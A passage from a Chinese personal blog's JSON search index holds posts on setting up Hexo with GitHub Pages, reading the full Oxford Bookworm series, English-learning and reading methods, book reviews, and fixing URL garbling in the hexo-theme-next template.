\u0026lt;folder\u0026gt; $ npm install 新建完成后，指定文件夹的目录如下： 其中_config.yml 文件是网站的配置文件 package.json 是应用程序的信息 scaffolds 模版文件夹。当新建文章时，Hexo 会根据 scaffold 来建立文件。 Hexo的模板是指在新建的文章文件中默认填充的内容。例如，如果您修改scaffold/post.md中的Front-matter内容，那么每次新建一篇文章时都会包含这个修改。 source 资源文件夹是存放用户资源的地方。除 _posts 文件夹之外，开头命名为 _ (下划线)的文件 / 文件夹和隐藏的文件将会被忽略。Markdown 和 HTML 文件会被解析并放到 public 文件夹，而其他文件会被拷贝过去。 themes 主题 文件夹。Hexo 会根据主题来生成静态页面。\n4、安装主题 Hexo提供了很多主题，我用的是hexo-theme-next主题，大家可以直接克隆我的主题https://github.com/xiejava1018/hexo-theme-next.git 这里修复了一些bug如乱码问题等。 cd 切换到站点目录下\n1 $ git clone https://github.com/xiejava1018/hexo-theme-next.git themes/hexo-theme-next 也可以用其他git客户端工具将主题拉取到themes目录下 修改_config.yml文件的theme改为\n1 theme : hexo-theme-next 5、写作 可以执行下列命令来创建一篇新文章或者新的页面。\n1 $ hexo new [layout] \u0026lt;title\u0026gt; 可以在命令中指定文章的布局（layout），默认为 post，可以通过修改 _config.yml 中的 default_layout 参数来指定默认布局。 如执行：\n1 hexo new 2020-02-11-2020-02-11-看完全套149本《书虫》是种什么样的体验 执行该命令后就会在响应的站点目录的source_posts下生成2020-02-11-看完全套149本《书虫》是种什么样的体验.md文件。 用任何喜欢的编辑器编辑这个.md文件即可，排版是支持MarkDown的。\n6、生成和发布 编辑好需要发表的内容后。执行\n1 $ hexo generate 就会生成相应的静态文件。改命令也可以简写成\n1 $ hexo g 执行\n1 $ hexo server 启动服务器。默认情况下，访问网址为： http://localhost:4000/ 就可以通过该地址访问本地的站点。 在本地检查没有问题以后就可以发布到Github Pages上通过互联网上访问了。 首先在配置_config.yml文件配置需要发布的地址。这个地址就是你在github上申请的Github Pages库的git地址 然后就可以通过命令\n1 $ hexo deploy 进行发布了。发布以后就可以通过https://xiejava1018.github.io 或者自定义的域名 https://xiejavablog.ishareread.com 来访问了。需要注意的是，每次重新发布以后，需要重新设置域名绑定才能正确访问，否则会报404的错误。\n欢迎大家访问我的BLOG https://xiejavablog.ishareread.com/\n博客文章：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2020-02-12-%E9%80%9A%E8%BF%87gitpages-hexo%E6%90%AD%E5%BB%BA%E8%87%AA%E5%B7%B1%E7%9A%84%E5%8D%9A%E5%AE%A2/","summary":"\u003ch1 id=\"一申请并配置github-pages\"\u003e一、申请并配置Github Pages\u003c/h1\u003e\n\u003ch2 id=\"step1-在github上创建一个git库\"\u003estep1 在github上创建一个git库\u003c/h2\u003e\n\u003cp\u003e用github账号登录https://github.com/ ，如没有github账号则申请一个github账号。登录后点击“New repository”新建一个名为username.github.io（username是你的github用户名）如我的是：xiejava1018.github.io ，如果库名以及存在则会报库名已经存在的错误。\n\u003cimg alt=\"新建库\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/20200212/blogimage/1.png\"\u003e\u003c/p\u003e","title":"通过Git Pages+Hexo搭建自己的博客"},{"content":"\n一直想学好英语，可惜一直在陷入\u0026quot;从入门到放弃\u0026quot;的怪圈，这么多年来一直尝试各种方式方法来学英语始终未成正果。当然这一切都归因于自己没有恒心没有毅力。有过坚持了330天终于放弃了背单词的经历，也找了很多如何学好英语的书籍和方法。受了李笑来老师的《人人都能用英语》及伍君仪的《把你的词汇用起来》的影响。经过自己仔细思考认为确实如果要把英语学好必须要用起来。考虑到自己的实际情况，没有相应的语言环境，从听说开始用起来可能也不太现实，最现实的方式就是从大量的阅读开始将英语用起来。即学了知识又学了英语，还没有那么枯燥。\n如何开始阅读，读什么东西呢？自己的水平还没有达到能够读懂英文原版书的程度，望着满片英文的原版书还是心生畏惧。也是在网上看大家学习英语的经验，有人就介绍了阅读的方式方法。初学者一开始就不要挑战太高难度了，容易打击自己的自信心。最好的方式是采取分级阅读的方式，阅读i+1的英语材料。也就是阅读比自己能力稍微高一点的英语材料。在找英语阅读的材料过程中发现了很多人推荐了《书虫》，也就是\u0026quot;书虫·牛津英汉双语读物”，这套读物是外语教学与研究出版社和牛津大学出版社联袂奉献给英语学习者的一大分级阅读精品书系，提供了从小学高年级至大学的全套阅读方案。图书按照词汇量和语言难度进行科学分级。共分了七个级别，15套，共149本书。\n我觉得这套读物比较适合像我这样的初学者。离开学校多年了，也不知道自己的英语水平究竟是属于什么级别，抱着空杯的心态，干脆就从最低级的开始看起（想想还可以给小孩看）。我是2019年6月18日购买的全套，从快递点搬回来的时候一大箱子很重。看着这满满一箱足足149本，比较兴奋又比较忐忑。兴奋的是我终于可以开始我的英语阅读之旅了，忐忑的是这也149本也忒多了吧？从来没有尝试过一次性读过这么多的书，即使是中文书也没有挑战过。\n很欣赏伍君仪在《把你的词汇用起来》中的一句话，就是“学英语既然开始了，就一定要把它学好！”。反反复复从\u0026quot;从入门到放弃\u0026quot;浪费时间精力又没有什么效果。于是从2019年7月正式从书虫第一套入门级的第一本《 Survive！》生存游戏开始。入门级相当于小学高年级的水平，当然读起来很流畅很爽。有时候可以一口气看三、四本。入门级每一本都比较薄只有几十页，而且有一半还是中文解释。基本上没有什么挑战。毕竟有近150本怎么才能全部读完呢？我做了个计划给自己规定每天看40页或以上，准备用大半年的时间将这套书全部看完。书虫这套书可读性还是比较强，内容非常丰富，主题多样，包括悬疑、侦探、间谍等多种题材，大部分都是世界名著。小时候读名著读得比较少，这下可以过一下名著的瘾了，虽然是简写版的。尽管是简写版的但是改编得故事性挺强的，非常吸引人，很能提高阅读兴趣。为了让自己能够坚持下去，我每读一本都会在豆瓣上进行标记，并加入到自己的已读英文读本的豆列里。每读完一本就感觉到离胜利越近了一点。前面1至5级读得还很顺利，几乎都可以不用看中文翻译，后面到了第6级以后就有点磕磕绊绊了，有时候需要借助中文翻译才能看懂。不管怎么样，终于在2020年2月9日将全套书虫的最后一本《印度之行》全部读完，历时半年。除了其中11月底有段时间公司加班很厉害确实没有读以外，基本上每天都有阅读。看着满满的一箱书，这一本本标记已读的书，心里还是满满的成就感。\n通过阅读全套书虫的经历，让我建立了学好英语的信心，培养了我阅读英语的兴趣。我想我再也不会“从入门到放弃”了。我花了半年的时间和精力把全套《书虫》都看完了，你要我放弃，那不这半年的努力都白费了吗？\n但是有人可能会问我，看完全套书虫以后你的英语水平达到了什么程度。我想我会很遗憾的告诉你，“革命尚未成功，同志仍需努力”。我也曾经报有幻想，以为看完全套《书虫》自己的英语水平就很牛B了。但是越看到后面越清晰的认识到《书虫》这套书有它的局限性。整套书下来，最高级别的单词量才3000。也是高中毕业大学低年级的水平。也使我清晰的认识到自己目前的英语水平也就是高中毕业大学低年级的水平。一个意外的收获就是通过阅读《书虫》全套，大致的了解了英语的小说文学史，相当于给了我一个目录和一个指引。有哪些好的小说有兴趣可以更加深入的读下去。比如通过阅读书虫对英国文学史上著名的勃朗特三姐妹有了深刻的了解，因为里面有本书是写《勃朗特一家的故事》。这套书里还有《呼啸山庄》和《简·爱》,分别是勃朗特三姐妹中的艾米莉·勃朗特和夏洛蒂·勃朗特的名著，看了他们的简介再读了她们的作品理解更加全面和深刻了。让我有进一步看这两部名著的英文原版的欲望了。还有英国侦探小说女王阿加莎·克里斯蒂有本书《神秘女人——阿加莎•克里斯蒂》就是介绍她的经历和作品，看完以后我立马找了她的中文版的《东方快车谋杀案》看了觉得很有意思。还有狄更斯、哈代等的名作都让人看了还想看。通过这样大量的阅读体验以后，我对名著产生了浓厚的兴趣，我觉得我应该具备了阅读英文原版书的能力。下一个阶段我有信心准备开始我的英文原版书阅读了。今年我的计划是挑战看完十本英文原版书。\n我读过的英文读本豆列： https://www.douban.com/doulist/118432400/\n爱分享读书豆瓣小组： https://www.douban.com/group/655112/\n关注：“爱分享读书”微信公众号 读书我们是认真的","permalink":"http://xiejava.ishareread.com/posts/2020-02-11-%E7%9C%8B%E5%AE%8C%E5%85%A8%E5%A5%97149%E6%9C%AC%E4%B9%A6%E8%99%AB%E6%98%AF%E7%A7%8D%E4%BB%80%E4%B9%88%E6%A0%B7%E7%9A%84%E4%BD%93%E9%AA%8C/","summary":"\u003cp\u003e\u003cimg alt=\"English\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/20200211/blogimage/english.png\" title=\"English\"\u003e\u003c/p\u003e\n\u003cp\u003e一直想学好英语，可惜一直在陷入\u0026quot;从入门到放弃\u0026quot;的怪圈，这么多年来一直尝试各种方式方法来学英语始终未成正果。当然这一切都归因于自己没有恒心没有毅力。有过坚持了330天终于放弃了背单词的经历，也找了很多如何学好英语的书籍和方法。受了李笑来老师的《人人都能用英语》及伍君仪的《把你的词汇用起来》的影响。经过自己仔细思考认为确实如果要把英语学好必须要用起来。考虑到自己的实际情况，没有相应的语言环境，从听说开始用起来可能也不太现实，最现实的方式就是从大量的阅读开始将英语用起来。即学了知识又学了英语，还没有那么枯燥。\u003c/p\u003e","title":"看完全套149本《书虫》是种什么样的体验"},{"content":" 不背单词，能学好英语吗？ 学习英语是我永远的痛，读书的时候没有把英语学好，工作后觉得英语很重要，经历了N多次从坚持到放弃。这一次，我是来真的，发誓不把英语学好不罢休，为此我下载了百词斩。为了有人监督我加入了打卡群，每天坚持英语背单词打卡，这是我坚持做得最好的一件事情，每天早上起床第一件事情就是背单词，每天20-30个，几乎从来没有中断过。但是我坚持到330天后，我还是决定放弃背单词了。为什么呢？因为没效果！！！我已经背完了从小学到大学以及新概念1-2册的单词，APP上显示我的词汇量已经达到7000，超过了80%的网友。可是我看英语文章还是一脸懵逼，即使是最浅的英语读物也有单词不认识。听不懂，更别奢望能说了。英语单词背了忘、忘了背，严重怀疑这个APP上显示7000多的单词量是哄我开心的，要不背了这么久的单词，英语水平还这么菜，依旧啥也看不懂\u0026hellip;\u0026hellip;\n放弃背单词，并不代表我放弃了英语，因为我找了一本书\u0026ndash;《人人都能用英语》。经过傻傻的认为打卡背单词就可以学好英语沉痛而失败的教训后，越发认为这本书相见恨晚。学英语就是要用，要不学英语干啥？坚持非常重要，但是坚持的方向错了一切都是白搭！\n这不是一本英语的单词书、语法书。是一本教你如何学英语，不，应该是如何“用”英语的书。作者是我们都很熟悉的曾经是新东方专业英语老师，现在是比特币首富的\u0026ndash;李笑来老师，《把时间当做朋友》的作者。虽然是专业的英语老师，在书中他没有卖弄自己的专业，而是非常真诚的讲述了自己学习英语的过程。整本书解决了我所有学英语的疑惑。\n经历了N多次从坚持到放弃，我曾经就差点相信学习英语要有天赋才能学好，自己不是学英语的那块料。在书中作者花了很大量的篇幅来告诉我们，人人都可以学好英语！书中举了个例子，大约在1988年前后，他父亲的同事一位教英语的副教授去考了一次托福，成绩是570（满分677分），一个专职的英语教授考托福才考570分，想想这是个多么难的考试。当年，甚至若干年作者都不敢想象自己能够去考托福。直到2000年底，他急需要一份稳定的工作，想去新东方应聘，他花了4个月的时间专注学习，考了托福，考了GRE，拿了变态的成绩去应聘了新东方成为了那里的英语教师。他以亲身经历说明了一个问题，你学不好，是因为你不信，只有你相信你能做好，你才能真正做好。哪里有那么多天才呢？所谓的天才，只不过是反复练习，持之以恒的结果。\n不要再“学”英语，你就应该“用”英语！这是最触动我的一句话，也是整本书的核心。大部分的人，包括我都是从初中、高中、大学，“学”了近十来年的英语，真正学会的人又有几个呢？只“学”不“用”的下场就是在十几年之后依然在学依然无用。依旧陷入从坚持到放弃的怪圈。学英语的核心其实是在用。只有不断地“用”，才能真正地学到，要不就会一直停留在“学”的阶段。既然不“用”就“学”不好，那不如从一开始就直接“用”。无论如何，一定要想明白对自己来说，英语真正的用处在哪儿？对于很多人来说，其实只要能够流利阅读英语或许已经足够了，至少对我来说已经够了。既然想要流利的阅读英语，那就直接从“用”英语阅读开始，抛开所谓的单词量、语法、语音、语调。不会的单词查字典，看不懂的句子查语法书。不管你是想流利的阅读，还是用英语交流，反正，用就是了。回想一下，也是哦，想想自己小学语文的经历，小学一年级还学下生字，二年级就开始学用字典查生字，以后慢慢的抛开字典可以自由的读写了。\n其实如何通过“用”来学习外语，国学大师、学界泰斗季羡林，季老先生在自己的言传身教中已经说的非常清楚，并且可操作性非常强。他说到：“我想斗胆提出一个，‘无师自通’的办法，供胡同志和其他读者参考。你只需要找一位通德语的人，用上二三个小时，把字母读音学好。从此你就可以丢掉老师这个拐棍，自己行走了。你找一本有可靠的汉文译文的德文科技图书，伴之以一本浅易的德文语法。先把语法了解个大概的情况，不必太深入，就立即读德文原文，字典反正不能离手，语法也放在手边。一开始必然如堕入五里雾中。读不懂，再读，也许不止一遍两遍。等到你认为对原文已经有了一个大概的了解，为了验证自己了解的正确程度，只是到了此时，才把那一本可靠的译本拿过来，看看自己了解得究竟如何。就这样一页页读下去，一本原文读完了，再加以努力，你慢慢就能够读没有汉译本的德文原文了。”\n嗯，我想我可以放心的放弃背单词，拿起我的那本英文版的《Spring in Action》开始慢慢啃了\u0026hellip;\u0026hellip;\n关注：“爱分享读书”微信公众号 读书我们是认真的","permalink":"http://xiejava.ishareread.com/posts/2020-02-10-%E5%9D%9A%E6%8C%81%E4%BA%86330%E5%A4%A9%E6%88%91%E7%BB%88%E4%BA%8E%E6%94%BE%E5%BC%83%E4%BA%86%E8%83%8C%E5%8D%95%E8%AF%8D/","summary":"\u003cp\u003e\u003cimg alt=\"不背单词，能学好英语吗？\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/20200211/blogimage/bdc.png\" title=\"不背单词，能学好英语吗？\"\u003e\n不背单词，能学好英语吗？\n学习英语是我永远的痛，读书的时候没有把英语学好，工作后觉得英语很重要，经历了N多次从坚持到放弃。这一次，我是来真的，发誓不把英语学好不罢休，为此我下载了百词斩。为了有人监督我加入了打卡群，每天坚持英语背单词打卡，这是我坚持做得最好的一件事情，每天早上起床第一件事情就是背单词，每天20-30个，几乎从来没有中断过。但是我坚持到330天后，我还是决定放弃背单词了。为什么呢？因为没效果！！！我已经背完了从小学到大学以及新概念1-2册的单词，APP上显示我的词汇量已经达到7000，超过了80%的网友。可是我看英语文章还是一脸懵逼，即使是最浅的英语读物也有单词不认识。听不懂，更别奢望能说了。英语单词背了忘、忘了背，严重怀疑这个APP上显示7000多的单词量是哄我开心的，要不背了这么久的单词，英语水平还这么菜，依旧啥也看不懂\u0026hellip;\u0026hellip;\u003c/p\u003e","title":"坚持了330天，我终于放弃了背单词"},{"content":" 相信我，你并不孤独！自卑、对任何事情都没有兴趣、在工作多年后，对未来还是很迷茫，对自己的效率不满，对自己的能力怀疑。相信在此世间，此时此刻，困恼的不是我一个。\n《把时间当作朋友》这本书2009年出版，现在这本书已经是第三版了，并且还推出了逻辑思维独家定制版。该书长期在豆瓣上评分都是在8.3分以上，无数人看了以后都感觉到相见恨晚，受益匪浅。作者李笑来原来是新东方的老师，现在号称是投资人，比特币首富。新东方的老师像创始人俞敏洪、锤子手机的老罗、古典等都有个特点，都很都善于灌鸡汤，兜售所谓的成功学，很有煽动性。可以理解像英语那么枯燥有难度的学习过程，如果没有成功学的激励被放弃的几率还是蛮大的。成功离不开鸡血，也少不了鸡汤。\n《把时间当作朋友》这本书从心智成长的角度来谈时间管理、学习方法、兴趣、人脉等成功的关键所在。虽然书中有个章节是\u0026quot;小心所谓的成功学\u0026quot;。但不可否认，这本书就是告诉大家如何了解时间，和时间做朋友，用心智成长开启自己的人生成功之旅的“成功学”。其中的某些观点和做法我觉得很有道理并值得付之于行动。\n首先是对时间管理的认识，有很多书都在谈时间管理，而时间每天每个人都只有24小时，都在静静的不以人的意识为转移地流逝。时间它是不会听从任何人的管理，我们无法管理时间，我们真正能够管理的是我们自己。而管理好自己就是需要通过自己的大脑控制自己的大脑，需要有很强的意志力和成熟的心智。\n管理好自己利用好时间，需要对自己的时间有个清楚的了解，知道自己的时间都花到哪里去了。最有效的办法就是《奇特的一生》的作者，苏联生物学家柳比歇夫的事件-事件日志记录方法。将自己每天做的每件事情都花的多少时间详细的记录下来。想尽一切办法真正了解自己，真正了解时间，精确地感知时间，而后再想办法使自己的行为与时间\u0026quot;合拍\u0026quot;，与时间做朋友。\n学会了如何利用好自己的时间，接下来的就是行动。什么时候开始行动呢？如果要打算做某件事情，并且想做成的话，应该是立刻、马上、立即、now就开始行动！\n开始行动后就要学会坚持。所有学习上的成功，都只靠两件事：策略和坚持，而坚持本身就是最重要的策略，坚持其实就是重复，而重复说到底就是时间的投入，任何领域想要取得卓越的成就都必须用一生的努力才能取得，想要出类拔萃，就要努力至少一万小时。\n关于学习方法： 除了“试错”、“观察”、“阅读”之外，“思考”准确的说是“正确地思考”才是获得真正意义上的知识的主要手段。 提高自学能力\n自学能力的基础技能是阅读理解能力。 检索能力是建立在相当熟练的阅读能力之上的能力。 写作能力在自学能力中占据着重要的地位。 实践能力是自学能力最终能够转换为真正价值的根本。 教是最好的学习方法。 关于兴趣： 很多人，包括我自己，不知道自己的兴趣在哪里？或试图要培养自己的兴趣。书中的一段话给我很大的启示，只要一件事你能做好，并且做得比谁都好，或者至少比大多数人好，你就不会对那件事情没兴趣。往往并不是有兴趣才能做好，而是做好了才有兴趣。\n大多数事情都需要孰能生巧，做得多了，自然就擅长了，擅长了，就自然比别人做得好，做得比别人好，兴趣就大起来了，而后就更加喜欢做，更擅长，更\u0026hellip;\u0026hellip;良性循环。但同样做得多久需要大量的时间投入，没兴趣，往往只不过是结果而已，如果被当做不去做好的理由，最终的惩罚就是大量的时间白白的流逝。\n关于人脉： 打造人脉不如打造自己，只有优秀的人才拥有有效的人脉。\n关于书中讲到了通过自己的大脑控制自己的大脑。其实就是个人意志力的问题，只是书中换了个说法。个人的成功很大程度都是取决于个人意志力。通过意志力控制心智成长，让人成熟，成功。\n如果你现在还在迷茫，相信我，你并不孤独。把这本书看完吧。再牛逼的人都有段苦逼的经历，如果你还在苦逼的过程中，请把时间当做朋友，沉下心来慢慢学习积累，收获成长，笃性自己能够成功！大家一起共勉。\n关注：“爱分享读书”微信公众号 读书我们是认真的\n","permalink":"http://xiejava.ishareread.com/posts/2020-01-05-%E6%8A%8A%E6%97%B6%E9%97%B4%E5%BD%93%E4%BD%9C%E6%9C%8B%E5%8F%8B%E7%9B%B8%E4%BF%A1%E6%88%91%E4%BD%A0%E5%B9%B6%E4%B8%8D%E5%AD%A4%E7%8B%AC/","summary":"\u003cp\u003e\u003cimg alt=\"把时间当做朋友\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/20200106/blogimage/3.jpg\" title=\"把时间当做朋友\"\u003e\n相信我，你并不孤独！自卑、对任何事情都没有兴趣、在工作多年后，对未来还是很迷茫，对自己的效率不满，对自己的能力怀疑。相信在此世间，此时此刻，困恼的不是我一个。\u003c/p\u003e","title":"把时间当作朋友，相信我，你并不孤独"},{"content":" 在这个互联网信息知识大爆炸的时代，学习能力是每个人的核心能力，如何通过学习把知识转化为自己的能力，拓宽人生的可能性，是每个人孜孜不倦渴求的。而阅读，尤其是高效的阅读是掌握知识最简单、成本最低、也是最高效的学习方式。阅读能力是学习能力的根本，会阅读的人才会具备快速学习的能力和良好思维以及应变能力。认识到这一点，所以想读书的人越来越多，爱读书的人越来越多。但是很多人在阅读或培养阅读的过程中碰到了各种各样的困难和问题。如：知道阅读很重要，但是拿起书就想睡觉根本看不进书；没有时间阅读；读不懂，记不住，用不上等等。市面上也涌现了不少教大家阅读的书籍，如被誉为阅读圣经的《如何阅读一本书》、《越读者》、《书都不会读，你还想成功》、《如何高效读懂一本书》等等。\n好脑筋需要书本，就如同宝剑需要磨刀石。\n通过阅读我们可以系统性地获取知识，但很多人在阅读习惯养成的前期也会面临很多问题，很多人对阅读有障碍、有困难，实际上是我们对阅读这件事的理解并不清晰透彻，我们应该了解阅读的本质。阅读的本质就是在可以利用的时间里，以你自己能理解的程度去学习。有些初学者了解到阅读的重要性以后，心情非常迫切，一上来就捧起大部头的书，或者比较深奥烧脑的书看，结果要不就是看几页昏昏入睡，要不就是看了几天都看不完，渐渐的失去了耐心，阅读兴趣和想培养的阅读习惯也就在屡次的打击中放弃了。其实要想开始阅读或培养阅读习惯，最有效的办法就是根据自己的能力先从一些入门级的自己感兴趣的书籍着手。在《书都不会读，你还想成功》的书中，就是建议先给自己定个计划读100本书开始，这100本书先抛开任何功利性的想法，不管什么书，只要是自己感兴趣的或者能够看得下去的书就可以，看不下去的书先放一边，通过100本书慢慢培养自己的阅读兴趣和习惯。先有了阅读兴趣和习惯，想看了愿意看了。再来谈阅读方法的问题，通过阅读方法解决看得快，记得牢的问题。再来逐渐选择高于自己目前能力的书籍进行有目的性的阅读。\n其实阅读方法正如《洋葱阅读法》里所述，无非就是碎片化阅读、快速阅读、主题阅读。不管是那种阅读方法，都是需要带有强烈目的性的阅读，只有有目的的阅读，然后学以致用才能看得快，记得牢，用得上。\n碎片阅读实际就是利用碎片化的时间，学习碎片化的内容。如何取得碎片化阅读的效果呢？有人每天都碎片化的阅读一些微信文章啥的，但是长期以来除了感觉有些文章写得不错每天点赞外，对自己并没有什么提高呢。其中最关键的就是要建立自己的知识体系。在基于自己的知识体系的基础上将阅读到的碎片化的内容补充到自己的知识体系中建立相应的联系。要不然阅读到的碎片还是碎片，不和已有的知识进行关联，永远都是碎片，久而久之久会忘记掉。没有自己的知识体系就相当于没有建立自己的银行账户，碎片化阅读看到的内容相当于打零工赚回来的钱没有地方放。东放一点，西放一点时间久了自然就忘记了。有了自己的知识体系就相当于建立自己的知识银行账户，打零工赚的钱可以零存整取，不断的往自己的知识体系中填砖加瓦，让自己的知识银行账户余额越存越多。\n如何构建自己的知识体系呢，就要通过快速阅读和主题阅读。一本书本身的就是某个知识系统化的描述。所以要想系统的构建自己的知识体系，系统的看书是必经之路。\n快速阅读的本质就是提升阅读的速度，快速掌握书中的知识。核心就是带着问题来阅读。在阅读之前，先了解一下自己读这本书的目的，梳理一下问题，为什么要读这本书，这本书能够解决我什么问题，自己以前有没有读过类似的书等等。通过快速的阅读，在书中找这些问题。有些无关紧要的描述就可以快速略看，与问题相关的仔细阅读。通过变速阅读达到快速了解一本书掌握关键知识点的目的。\n主题阅读则更是为了构建自己的知识体系，在某个知识主题领域，通过广泛的阅读，同时阅读多本相同主题书的方式来深入对某个知识主题领域学习的过程。其主要目的是搞懂某个主题领域的知识。\n当然不管是碎片化阅读、快速阅读、主题阅读，要想通过阅读来提高自己的能力，首先要有构建自己知识体系的意识；其次是通过某种方式彻底的搞懂自己没有懂的知识如通过反复阅读，一本书重复多读几遍或通过读同一知识点不同作者写的书来搞懂，或者通过费曼读书法将阅读的知识通过自己的理解用自己的方式讲述给懂的人；最后就是要学以制用，将通过阅读学到的知识在平时的工作、生活、学习等各个方面用起来。只有这样才能真正的通过阅读不断的提高自己的能力，真正找到阅读的乐趣，越读越有味，越读越想读！\n关注：“爱分享读书”微信公众号 读书我们是认真的\n","permalink":"http://xiejava.ishareread.com/posts/2020-01-05-%E7%BB%88%E8%BA%AB%E5%AD%A6%E4%B9%A0%E6%97%B6%E4%BB%A3%E9%98%85%E8%AF%BB%E6%98%AF%E4%BD%A0%E5%A4%A7%E8%84%91%E7%9A%84%E7%A3%A8%E5%88%80%E7%9F%B3/","summary":"\u003cp\u003e\u003cimg alt=\"图书馆\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/20200106/blogimage/1.jpg\" title=\"图书馆\"\u003e\n在这个互联网信息知识大爆炸的时代，学习能力是每个人的核心能力，如何通过学习把知识转化为自己的能力，拓宽人生的可能性，是每个人孜孜不倦渴求的。而阅读，尤其是高效的阅读是掌握知识最简单、成本最低、也是最高效的学习方式。阅读能力是学习能力的根本，会阅读的人才会具备快速学习的能力和良好思维以及应变能力。认识到这一点，所以想读书的人越来越多，爱读书的人越来越多。但是很多人在阅读或培养阅读的过程中碰到了各种各样的困难和问题。如：知道阅读很重要，但是拿起书就想睡觉根本看不进书；没有时间阅读；读不懂，记不住，用不上等等。市面上也涌现了不少教大家阅读的书籍，如被誉为阅读圣经的《如何阅读一本书》、《越读者》、《书都不会读，你还想成功》、《如何高效读懂一本书》等等。\u003c/p\u003e","title":"终身学习时代，阅读是你大脑的磨刀石"},{"content":"　用系统方式工作的思想是萨姆·卡彭特在《用系统来工作》的书中提到的。大家可以想想华为、富士康等公司为什么效率高？因为有一套系统化的流程让各个环节高效的运作。所以咱们也可以参考，运用到我们的工作、学习、生活中来，让我们更高效。\n所有工作都可以用系统的视角的思考。如管理公司、上班的日常工作、学一门技能、健身等等。 首先我们要明确目标，比如管理公司我要达到什么经营目标，学习我要学到什么东西达到什么程度，减肥健身要达到什么效果，一定要有非常清晰的目标，最好是能够写下来，放在显眼的地方，时时关注。 其次我们要制定准则，即达到实现目标的大的方针，比如减肥健身，准则可以定义为控制饮食、加强锻炼等。 最后我们要明确做事的流程，如何明确流程？可以按照以下几点整理。 1、分解每个工作的任务项。 将一个工作分解成一个个可以操作的具体任务项。如开会可以分解为确定会议室、准备会议材料、通知会议参与人、做会议纪要、跟踪会议结论执行情况等等。 如减肥健身可以分解为：合理饮食、准备活动、有氧运动、肌肉强化运动、睡眠休息等等。 2、将每个工作任务项按依赖顺序整理形成固化的流程 有些工作项是有依赖关系的，所以我们要按照依赖关系顺序整理成流程。先干什么，后干什么，这样做事才会更有条理，减少等待的时间更高效。 3、给每个工作任务项提供说明指导 就是将每个细化的工作项做到最好。在华为，所有的岗位，每项工作都有具体的作业指导书。在作业指导书中详细定义了这个环节需要做什么，具体怎么做，完成后如何检查反馈。这个作业指导书是不断总结完善的。所以不管是老手，还是新来的菜鸟，都可以很好并高效的完成。 4、在实践的工作中不断完善流程 一开始可能流程并不完善，我们可以在实际实施的过程中不断的优化调整，去掉一些不必要的环节，优化一些效率低下的环节，一切优化都是遵循我们开始定义的目标。\n通过系统方式思考做事情可以用到工作、学习、生活的各个方面，总的来说，就是明确目标、制定准则、定义流程，不断完善流程。将事情高效的做好。作为领导者，有了流程后，你还可以将这个流程交给任何一个人都可以做好。将自己释放出来。有更多的时间平衡工作、学习、生活。这就是系统的力量。\n关注：“爱分享读书”微信公众号 读书我们是认真的\n","permalink":"http://xiejava.ishareread.com/posts/2020-01-05-%E7%94%A8%E7%B3%BB%E7%BB%9F%E6%96%B9%E5%BC%8F%E6%80%9D%E8%80%83%E9%AB%98%E6%95%88%E7%9A%84%E5%B7%A5%E4%BD%9C/","summary":"\u003cp\u003e　　用系统方式工作的思想是萨姆·卡彭特在《用系统来工作》的书中提到的。大家可以想想华为、富士康等公司为什么效率高？因为有一套系统化的流程让各个环节高效的运作。所以咱们也可以参考，运用到我们的工作、学习、生活中来，让我们更高效。\u003c/p\u003e","title":"用系统方式思考，高效的工作"},{"content":"今年的计划之一是搭建一个博客，开始写博客。于是在网上找了一些博客程序发现用Hexo在gitHub上搭建自己的个人博客是比较简单而且易于维护的做法。 在网上找了一些教程后开始搭建，用自己比较中意的hexo-theme-next模板，发现搭建成功后导航栏链接不对，出现了URL乱码的问题。在网上搜索了一把发现有些网友也碰到了类似的问题不过都还没有解决。 我是从 https://github.com/Doublemine/hexo-theme-next.git 这里Fork下来的。仔细看了一下Fork下来的hexo-theme-next模板代码,尝试自己解决。\n问题现象： URL乱码出现在两个地方，一个是上面的导航栏，一个是右边栏的“日志”菜单部分。 导航栏链接乱码问题 右边栏的“日志”菜单部分链接乱码问题 发现链接后面都有乱码 解决方法： 1.解决导航栏URL乱码 查看themes\\hexo-theme-next\\layout_partials 下面的 header.swig 代码和模板的配置文件 \\themes\\hexo-theme-next_config.yml，发现导航栏链接乱码是因为菜单配置是有空格造成的。\n\u0026lt;li class=\u0026#34;menu-item menu-item-{{ itemName | replace(\u0026#39; \u0026#39;, \u0026#39;-\u0026#39;) }}\u0026#34;\u0026gt; \u0026lt;a href=\u0026#34;{{ url_for(path.split(\u0026#39;||\u0026#39;)[0]) | trim }}\u0026#34; rel=\u0026#34;section\u0026#34;\u0026gt; {% if theme.menu_icons.enable %} \u0026lt;i class=\u0026#34;menu-item-icon fa fa-fw fa-{{ path.split(\u0026#39;||\u0026#39;)[1] | trim | default(\u0026#39;question-circle\u0026#39;) }}\u0026#34;\u0026gt;\u0026lt;/i\u0026gt; \u0026lt;br /\u0026gt; {% endif %} {{ __(\u0026#39;menu.\u0026#39; + name) | replace(\u0026#39;menu.\u0026#39;, \u0026#39;\u0026#39;) }} \u0026lt;/a\u0026gt; \u0026lt;/li\u0026gt; 因为url_for函数会将字符串转码，碰到空格或其他特殊字符会进行转意，就会出现乱码。 解决的办法是修改模板的配置文件 \\themes\\hexo-theme-next_config.yml文件去掉空格就是的。 原始配置文件配置如下： 去掉链接字符串的空格 2.解决右边栏的“日志”菜单部分URL的乱码 在 themes\\hexo-theme-next\\layout_macro 找到sidebar.swig 文件 找到如下代码\n{% if config.archive_dir != \u0026#39;/\u0026#39; and site.posts.length \u0026gt; 0 %} \u0026lt;div class=\u0026#34;site-state-item site-state-posts\u0026#34;\u0026gt; {% if theme.menu.archives %} \u0026lt;a href=\u0026#34;{{ url_for(theme.menu.archives).split(\u0026#39;||\u0026#39;)[0] | trim }}\u0026#34;\u0026gt; {% else %} \u0026lt;a href=\u0026#34;{{ url_for(config.archive_dir) }}\u0026#34;\u0026gt; {% endif %} \u0026lt;span class=\u0026#34;site-state-item-count\u0026#34;\u0026gt;{{ site.posts.length }}\u0026lt;/span\u0026gt; \u0026lt;span class=\u0026#34;site-state-item-name\u0026#34;\u0026gt;{{ __(\u0026#39;state.posts\u0026#39;) }}\u0026lt;/span\u0026gt; \u0026lt;/a\u0026gt; \u0026lt;/div\u0026gt; {% endif %} 将\n\u0026lt;a href=\u0026#34;{{ 